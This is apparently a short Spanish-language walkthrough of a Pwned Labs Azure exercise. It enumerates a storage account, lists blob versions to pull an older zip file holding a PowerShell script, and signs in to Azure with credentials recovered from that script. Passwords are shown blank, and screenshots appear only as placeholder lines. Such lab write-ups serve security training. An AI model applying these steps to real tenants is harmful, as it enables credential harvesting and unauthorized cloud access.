Azure Blob Container to Initial Access

Azure Blob Container to Initial Access


Azure PwnedLabs

Nos metemos a la pagina y vemos los endpoints.

ssh_command.

Podemos ver que tiene un endpoint como los que se ven en la imagen de abajo.

ssh_command.

ssh_command.

python3 /opt/mcrtp_bootcamp_tools/AzSubEnum/azubenum.py -b megabigtech -t 10 -p /opt/bootcamp_tools/AzSubEnum/permutations.txt

ssh_command.

https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list

ssh_command.

https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions

No podemos ver la version.

ssh_command.

curl -H "x-ms-version: 2019-12-12" 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions' | xmllint --format - | less

ssh_command.

curl -H "x-ms-version: 2019-12-12" 'https://mbtwebsite.blob.core.windows.net/$web/scripts-transfer.zip?versionId=2025-08-07T21:08:03.6678148Z' --output scripts-transfer.zip

unzip scripts-transfer.zip

bc entra_users.ps1

ssh_command.

az login -u marcus@megabigtech.com -p ''

pwsh

$User = "marcus@megabigtech.com"

$Pass = "" | ConvertTo-SecureString -AsPlainText -Force

$Creds = New-Object System.Management.Automation.PSCredential ($User, $Pass)

Connect-AzAccount -Credential $Creds

ssh_command.

(Get-AzADUser -SignedIn).JobTitle

ssh_command.

© 2026 Cu3rv0x